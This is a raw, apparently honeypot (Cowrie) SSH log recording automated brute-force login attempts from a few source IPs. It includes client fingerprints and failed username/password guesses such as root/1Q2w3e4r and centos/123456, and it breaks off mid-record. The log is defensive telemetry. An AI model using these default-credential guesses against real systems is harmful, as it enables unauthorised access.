{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:22.744646Z","src_ip":"192.109.200.78","session":"1841dd59a236","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:22.994590Z","src_ip":"192.109.200.78","session":"1841dd59a236","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:24.081228Z","src_ip":"192.109.200.78","session":"1841dd59a236","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":52952,"dst_ip":"10.17.0.5","dst_port":22,"session":"9daf9c17f6a2","protocol":"ssh","message":"New connection: 74.91.224.229:52952 (10.17.0.5:22) [session: 9daf9c17f6a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:24.222075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:24.228003Z","src_ip":"74.91.224.229","session":"9daf9c17f6a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:24.471189Z","src_ip":"74.91.224.229","session":"9daf9c17f6a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!QAZ@WSX#EDC","message":"login attempt [ubuntu/!QAZ@WSX#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:25.457941Z","src_ip":"74.91.224.229","session":"9daf9c17f6a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:26.700331Z","src_ip":"74.91.224.229","session":"9daf9c17f6a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55446,"dst_ip":"10.17.0.5","dst_port":22,"session":"b77ef88a91a0","protocol":"ssh","message":"New connection: 192.109.200.78:55446 (10.17.0.5:22) [session: b77ef88a91a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:26.848507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:26.853462Z","src_ip":"192.109.200.78","session":"b77ef88a91a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:26.938758Z","src_ip":"192.109.200.78","session":"b77ef88a91a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar123","message":"login attempt [sonar/sonar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:27.473087Z","src_ip":"192.109.200.78","session":"b77ef88a91a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:28.557673Z","src_ip":"192.109.200.78","session":"b77ef88a91a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59140,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce2b3ad46871","protocol":"ssh","message":"New connection: 192.109.200.78:59140 (10.17.0.5:22) [session: ce2b3ad46871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:30.814390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:30.906348Z","src_ip":"192.109.200.78","session":"ce2b3ad46871","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:30.912145Z","src_ip":"192.109.200.78","session":"ce2b3ad46871","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:31.265337Z","src_ip":"192.109.200.78","session":"ce2b3ad46871","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:32.349992Z","src_ip":"192.109.200.78","session":"ce2b3ad46871","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59154,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a7c9d99b386","protocol":"ssh","message":"New connection: 192.109.200.78:59154 (10.17.0.5:22) [session: 2a7c9d99b386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:35.135457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:35.139826Z","src_ip":"192.109.200.78","session":"2a7c9d99b386","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:35.227093Z","src_ip":"192.109.200.78","session":"2a7c9d99b386","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:35.775848Z","src_ip":"192.109.200.78","session":"2a7c9d99b386","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:36.860906Z","src_ip":"192.109.200.78","session":"2a7c9d99b386","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38184,"dst_ip":"10.17.0.5","dst_port":22,"session":"675a5e9b0ac4","protocol":"ssh","message":"New connection: 192.109.200.78:38184 (10.17.0.5:22) [session: 675a5e9b0ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:39.260892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:39.265298Z","src_ip":"192.109.200.78","session":"675a5e9b0ac4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:39.349606Z","src_ip":"192.109.200.78","session":"675a5e9b0ac4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:39.596559Z","src_ip":"192.109.200.78","session":"675a5e9b0ac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:41.046241Z","src_ip":"192.109.200.78","session":"675a5e9b0ac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38198,"dst_ip":"10.17.0.5","dst_port":22,"session":"28aa20e65d27","protocol":"ssh","message":"New connection: 192.109.200.78:38198 (10.17.0.5:22) [session: 28aa20e65d27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:43.430124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:43.434332Z","src_ip":"192.109.200.78","session":"28aa20e65d27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:43.527082Z","src_ip":"192.109.200.78","session":"28aa20e65d27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:43.989231Z","src_ip":"192.109.200.78","session":"28aa20e65d27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:45.074892Z","src_ip":"192.109.200.78","session":"28aa20e65d27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38200,"dst_ip":"10.17.0.5","dst_port":22,"session":"db01b107cbbf","protocol":"ssh","message":"New connection: 192.109.200.78:38200 (10.17.0.5:22) [session: db01b107cbbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:47.702261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:47.709787Z","src_ip":"192.109.200.78","session":"db01b107cbbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:47.793210Z","src_ip":"192.109.200.78","session":"db01b107cbbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:48.041282Z","src_ip":"192.109.200.78","session":"db01b107cbbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:49.496772Z","src_ip":"192.109.200.78","session":"db01b107cbbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46014,"dst_ip":"10.17.0.5","dst_port":22,"session":"2acdb7a642ea","protocol":"ssh","message":"New connection: 192.109.200.78:46014 (10.17.0.5:22) [session: 2acdb7a642ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:51.756313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:51.787175Z","src_ip":"192.109.200.78","session":"2acdb7a642ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-